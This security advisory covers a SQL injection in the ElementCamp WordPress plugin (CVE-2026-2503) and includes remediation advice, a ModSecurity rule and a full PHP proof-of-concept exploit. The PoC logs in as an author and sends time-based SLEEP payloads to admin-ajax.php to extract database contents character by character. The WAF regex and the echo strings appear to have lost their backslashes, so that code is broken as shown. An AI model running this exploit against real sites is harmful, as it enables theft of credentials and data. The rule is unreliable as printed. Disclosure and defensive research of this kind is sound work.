Atomic Edge analysis of CVE-2026-2503 (metadata-based):
The ElementCamp WordPress plugin version 2.3.6 and earlier contains an authenticated SQL injection vulnerability. Attackers with Author-level privileges or higher can exploit a time-based blind SQL injection via the ‘meta_query[compare]’ parameter in the plugin’s AJAX handler. This vulnerability enables data extraction from the WordPress database.
Atomic Edge research identifies the root cause as improper neutralization of SQL operator values. The plugin constructs SQL queries using user-supplied comparison operators from the ‘meta_query[compare]’ parameter. While the plugin passes the value through esc_sql(), this function only escapes quote characters. Since SQL operators like ‘=’ or ‘!=’ do not contain quotes, esc_sql() provides no protection. The vulnerability description confirms the plugin lacks an allowlist validation for comparison operators before incorporating them into SQL statements.
Exploitation requires an authenticated session with Author privileges or higher. Attackers send POST requests to /wp-admin/admin-ajax.php with action=tcg_select2_search_post. They inject SQL payloads via the meta_query[compare] parameter. A time-based blind injection payload would resemble ‘!=’ OR SLEEP(5)–‘. The payload functions as an SQL operator, bypassing esc_sql() because it contains no quotes. Attackers can chain additional SQL conditions to extract database information through timing differentials.
Remediation requires implementing an allowlist validation for the compare parameter. The plugin should restrict input to valid SQL comparison operators like ‘=’, ‘!=’, ‘>’, ‘<', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', and 'NOT BETWEEN'. Input validation must occur before query construction. The esc_sql() function should remain for other query components, but operator validation requires a separate security layer.
Successful exploitation allows attackers to extract sensitive information from the WordPress database. This includes user credentials (hashed passwords), personal data, private posts, and plugin-specific data. The CVSS vector indicates high confidentiality impact with no integrity or availability impact. Attackers cannot directly modify data or execute commands through this vulnerability, but extracted credentials could enable further compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2503 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262503,phase:2,deny,status:403,chain,msg:'CVE-2026-2503: ElementCamp SQL Injection via meta_query[compare]',severity:'CRITICAL',tag:'CVE-2026-2503',tag:'WordPress',tag:'ElementCamp',tag:'SQLi'"
SecRule ARGS_POST:action "@streq tcg_select2_search_post" "chain"
SecRule ARGS_POST:meta_query.compare "@rx (?i)(?:b(?:OR|AND|XOR)b.*b(?:SLEEP|BENCHMARK|WAITFOR|PG_SLEEP)b|b(?:SELECT|UNION|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC|EXECUTE)b.*b(?:OR|AND|XOR)b|--|#|/*|*/)"
"setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2503 - ElementCamp <= 2.3.6 - Authenticated (Author+) SQL Injection via 'meta_query[compare]' Parameter
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';
// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);
// Verify authentication by checking for WordPress admin bar indicator
if (strpos($response, 'wp-admin-bar') === false) {
die('Authentication failed. Check credentials.');
}
// Step 2: Exploit SQL injection via meta_query[compare] parameter
// Time-based blind injection payload: != OR SLEEP(5)--
// This payload functions as an SQL operator, bypassing esc_sql()
$ajax_data = array(
'action' => 'tcg_select2_search_post',
'meta_query' => array(
'compare' => "!=' OR SLEEP(5)--"
)
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
// Check for time delay indicating successful injection
if ($elapsed >= 5) {
echo "[+] SQL injection successful! Response delayed by " . round($elapsed, 2) . " seconds.n";
echo "[+] The database is vulnerable to time-based blind SQL injection.n";
} else {
echo "[-] No time delay detected. Injection may have failed or been patched.n";
echo "[-] Response time: " . round($elapsed, 2) . " seconds.n";
}
// Step 3: Demonstrate data extraction with conditional time delay
// Example: Extract first character of database name
$ajax_data['meta_query']['compare'] = "!=' OR IF(ASCII(SUBSTRING(DATABASE(),1,1))>100,SLEEP(3),0)--";
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
if ($elapsed >= 3) {
echo "[+] Conditional injection successful. Database name first character ASCII > 100.n";
} else {
echo "[+] Database name first character ASCII <= 100.n";
}
curl_close($ch);
?>